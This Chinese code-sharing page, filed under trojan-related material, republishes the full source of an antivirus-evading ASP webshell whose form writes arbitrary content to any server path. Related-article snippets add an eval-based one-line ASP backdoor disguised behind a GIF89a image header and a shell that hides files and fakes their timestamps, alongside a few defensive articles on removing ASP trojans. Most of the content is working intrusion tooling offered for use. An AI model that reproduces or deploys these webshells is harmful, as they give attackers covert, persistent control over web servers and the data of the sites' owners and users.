旁注-网站小助手旭方修改免杀asp版_木马相关

<%@LANGUAGE="VBScript" CODEPAGE="936"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>旁注 - 网站小助手旭方修改免杀版</title>
<style type="text/css">
<!--
.black {
    font-family: "宋体";
    font-size: 12px;
    color: #000000;
    text-decoration: none;
    line-height: 120%;}
-->
</style>
<style type="text/css">
<!--
a:link {
    font-family: "宋体";
    font-size: 12px;
    color: #00CC00;
    text-decoration: none;
}
a:visited {
    font-family: "宋体";
    font-size: 12px;
    color: #00CC00;
    text-decoration: none;
}
a:hover {
    font-family: "宋体";
    font-size: 12px;
    color: #333333;
    text-decoration: none;
}
-->
</style>
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<p>
<% dim FSO %>
<% dim Data %>
<% dim MyFile %>
<% on error resume next %>
<% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("path1"))<>"" then %>
<% Data = request("path2") %>
<% Set MyFile=FSO.CreateTextFile(request("path1"),True) %>
<% MyFile.Write Data %>
<% if err =0 then %>
<% response.write "<font color=#FFFF00>成功啦! :)</font>" %>
<% else %>
<% response.write "<font color=#FFFF00>失败啦! :(</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% MyFile.Close %>
<% Set MyFile=Nothing %>
<% Set FSO = Nothing %>
<% Response.write "</form>" %>
</p>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF">
<tr>
<td height="100%"> 
<table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
<tr>
<td><table width="700" border="0" align="center" cellpadding="0" cellspacing="1">
<tr>
<td bgcolor="#FFFFFF"><span class="black"> 
<% Response.write "本文件在服务器上的方位:" %>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<br>
<% Response.write "<form action='''' method=post>" %>
</span> </td>
</tr>
<tr>
<td bgcolor="#FFFFFF"><span class="black">输入路径：<% Response.Write "<input type=text name=path1 width=200 size=81>" %>
</span></td>
</tr>
<tr>
<td bgcolor="#FFFFFF" class="black">
<% Response.write "输入内容：" %>
<% Response.write "<textarea name=path2 cols=80 rows=15 width=32></textarea>" %>
</td>
</tr>
<tr>
<td bgcolor="#FFFFFF"><div align="center"><span class="black">
<% Response.write "<input type=submit value=西天取经>" %>
</span></div></td>
</tr>
</tr>
<td bgcolor="#FFFFFF" class="black"><div align="center"></a></div></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table>
</body>
</html>

时间： 2024-10-26 13:46:38

旁注-网站小助手旭方修改免杀asp版_木马相关的相关文章

旁注-网站小助手旭方修改免杀asp版

<%@LANGUAGE="VBScript" CODEPAGE="936"%> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>旁注 - 网站小助手旭方修改免杀版</title> <style type="te

隐藏修改文件时间和文件属性的ASP脚本_木马相关

复制代码 代码如下: <% '隐藏并修改文件的最后修改时间的aspshell '原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等:FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件 ' 通过shell.application可以给文件重新设置一个最后修改时间 '2009/02/24 write by skyfire response.write "<form method=post>" response.write "

几款双功能免杀超强版asp小马_安全教程

第一款: 复制代码 代码如下: GIF89a$ ;<hTml> <%eval request(chr(1))%> <% on error resume next testfile=Request.form("filepath") msg=Request.form("message") if Trim(request("filepath"))<>"" then set fs=server

ASP网站中数据库被挂木马的解决方案_木马相关

本文我们详细介绍了ASP数据库被挂木马的详细解决方案之编程处理的方法,解决方案分为以下三步: 第一步: 为现有数据库做好备份. 第二步: 执行如下ASP文件,这样就可以去掉数据库当中的JS木马: 注:conn.asp自己去写了. '这里放入JS木马内容:请记得改为自己数据库中的JS木马内容. <!--#include file="conn.asp"--> <% Server.ScriptTimeOut=180 Set rstSchema = conn.OpenSche

雷客图ASP站长安全助手的ASP木马查找功能_木马相关

可以在线查找空间里的asp木马 复制代码 代码如下: <%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%> <% '设置密码 PASSWORD = "jb51net" dim Report if request.QueryString("act")="login" then     if request.Form("pwd") = PASSWO

有效防止ASP木马上传运行—小知识[网络安全技术]_木马相关

一般现今ASP木马常通过以下四点来操作服务器,所以我们只要将一下四处设置好就能从一 前使用IIS服务器的站长很多,特别是对于ASP网站来说,防止ASP木马成了网站安全最关键的内容. 一般现今ASP木马常通过以下四点来操作服务器,所以我们只要将一下四处设置好就能从一定程度上有效防止ASP木马的入侵 一.使用FileSystemObject组件 FileSystemObject可以对文件进行常规操作 可以通过修改注册表,将此组件改名,来防止此类木马的危害. HKEY_CLASSES_ROOT\Scr

手写个小组件(组件入门)asp版_应用技巧

动手写个小组件(组件入门) 这篇文章主要是为想将自己的ASP水平提高的人写的! 把ASP代码变成组件,开发者不仅是加快了ASP的速度,而且也能保护自己的代码.这篇文章写出来,也是为了给想开发组件网友上一堂入门课! 下面,我们会来编写一个非常简单的组件,重点是知道怎样开发DLL组件,而不是其复杂的代码!这些都要靠你们自己以后的努力了. 服务器端组件 首先,服务器端的组件要有别于客户端的组件.客户端的组件是通过网络传输,依靠HTML来起作用.而且只能在IE上有用.但是服务器端的组件是运行在服务器端,

一个ASP小马_木马相关

<%if request.QueryString("action")="log" thena=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g

修改正确的asp冒泡排序_应用技巧

网上搜到的代码,千篇一律是这个 Function Sort(ary) Dim KeepChecking,I,FirstValue,SecondValue  KeepChecking = TRUE  Do Until KeepChecking = FALSE   KeepChecking = FALSE   For I = 0 to UBound(ary)    If I = UBound(ary) Then Exit For     If ary(I) > ary(I+1) Then